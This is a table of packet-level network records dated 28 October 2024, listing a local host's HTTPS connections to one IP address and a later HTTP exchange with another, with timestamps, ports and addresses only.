Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 15:28:04.960634947 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:04.960678101 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:04.960757017 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:04.970128059 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:04.970143080 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:05.594079971 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:05.594208002 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:05.715955973 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:05.716056108 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:05.716413021 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:05.763427019 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:05.890494108 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:05.890495062 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:05.890630007 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.372507095 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.372746944 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.373068094 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.379813910 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.379856110 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.379878998 CET	49710	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.379888058 CET	443	49710	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.436306000 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.436331987 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:06.436502934 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.436712027 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:06.436722040 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.056785107 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.056982040 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.058288097 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.058293104 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.058495998 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.059854031 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.059874058 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.059915066 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508796930 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508831024 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508858919 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508887053 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508929968 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508939028 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.508949041 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508970976 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.508994102 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.509002924 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.509046078 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.509052038 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.509294987 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.509361029 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.509366989 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.560369968 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.628813982 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.628947020 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.628983021 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.629007101 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.629014015 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.629065037 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.629070044 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.629081011 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.629132032 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.629348040 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.629362106 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.629371881 CET	49711	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.629375935 CET	443	49711	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.724634886 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.724675894 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:07.724754095 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.725126028 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:07.725137949 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.366906881 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.367233038 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.398328066 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.398339033 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.398554087 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.425455093 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.425946951 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.425976038 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.968159914 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.968241930 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:08.968287945 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.968429089 CET	49712	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:08.968441010 CET	443	49712	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.068480968 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.068491936 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.068573952 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.068869114 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.068880081 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.682183027 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.682377100 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.683859110 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.683867931 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.684113979 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.685585022 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.685786009 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.685818911 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:09.685899973 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:09.685905933 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:10.227468014 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:10.227616072 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:10.227703094 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.227703094 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.409681082 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.409785986 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:10.409879923 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.410176992 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.410214901 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:10.529082060 CET	49714	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:10.529100895 CET	443	49714	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.021965981 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.022042036 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.025501013 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.025509119 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.025810957 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.027071953 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.027190924 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.027215958 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.027276993 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.027285099 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.693083048 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.693185091 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:11.693341017 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.711734056 CET	49725	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:11.711750031 CET	443	49725	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.008517981 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.008563042 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.008630037 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.008933067 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.008948088 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.626441002 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.626585007 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.628036022 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.628046036 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.628321886 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:12.629455090 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.629544020 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:12.629549980 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:13.122983932 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:13.123090982 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:13.123145103 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:13.123545885 CET	49731	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:13.123564959 CET	443	49731	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:13.568051100 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:13.568067074 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:13.568195105 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:13.568470001 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:13.568479061 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.169388056 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.169552088 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.382309914 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.382323027 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.382673025 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.435327053 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.613774061 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.614685059 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.614716053 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.614814043 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.614840031 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.614936113 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.614965916 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.615075111 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.615102053 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.615222931 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.615251064 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.615375996 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.615406036 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.615413904 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.615556955 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.615586042 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.625775099 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.625953913 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.625974894 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.625992060 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.626005888 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.626116991 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.626143932 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.631336927 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.631505013 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.631536961 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:14.631546974 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:14.632215977 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:16.826409101 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:16.826514006 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:16.826572895 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:16.826826096 CET	49741	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:16.826842070 CET	443	49741	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:16.861820936 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:16.861854076 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:16.861953020 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:16.862252951 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:16.862267971 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:17.472124100 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:17.472296953 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:17.603183031 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:17.603219986 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:17.603550911 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:17.604898930 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:17.605053902 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:17.605071068 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:18.077670097 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:18.077756882 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:18.077826977 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:18.078103065 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:18.078124046 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:18.078140020 CET	49758	443	192.168.2.6	188.114.96.3
Oct 28, 2024 15:28:18.078147888 CET	443	49758	188.114.96.3	192.168.2.6
Oct 28, 2024 15:28:18.080173969 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:18.086075068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:18.086149931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:18.086256981 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:18.091666937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202541113 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202554941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202560902 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202570915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202577114 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202586889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202598095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202609062 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202615023 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202620983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.202676058 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.202758074 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.203329086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.211750984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.211764097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.211775064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.211786032 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.211852074 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.212340117 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212352037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212369919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212383986 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212395906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.212431908 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.212711096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212730885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212743044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212755919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.212769032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.212805986 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.217624903 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.217636108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.217648029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.217660904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.217665911 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.217685938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.217968941 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.217988968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218008995 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.218230009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218241930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218254089 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218267918 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.218291998 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.218847036 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218859911 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.218908072 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321151018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321178913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321192980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321250916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321302891 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321316957 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321336031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321352959 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321392059 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321564913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321616888 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321628094 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321655035 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321722984 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321734905 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321746111 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.321770906 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.321790934 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.322535038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322573900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322585106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322618008 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.322634935 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322647095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322657108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.322675943 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.322693110 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.323577881 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323596001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323607922 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323618889 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323630095 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323632002 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.323640108 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.323652029 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.323678970 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.324404001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.324625015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.324666023 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.327487946 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327548027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327558994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327578068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327589035 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327589989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.327601910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327614069 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.327641010 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.327811956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327878952 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327889919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327900887 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.327924967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.327948093 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.328470945 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.328550100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.328589916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.328773975 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.372838020 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.415075064 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415146112 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415160894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415218115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.415220976 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415231943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415242910 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.415270090 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.415302038 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451484919 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451508999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451520920 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451565027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451565027 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451575994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451591969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451612949 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451639891 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451667070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451673031 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451674938 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451730013 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451744080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:19.451776028 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:19.451855898 CET	80	49764	185.215.113.16	192.168.2.6
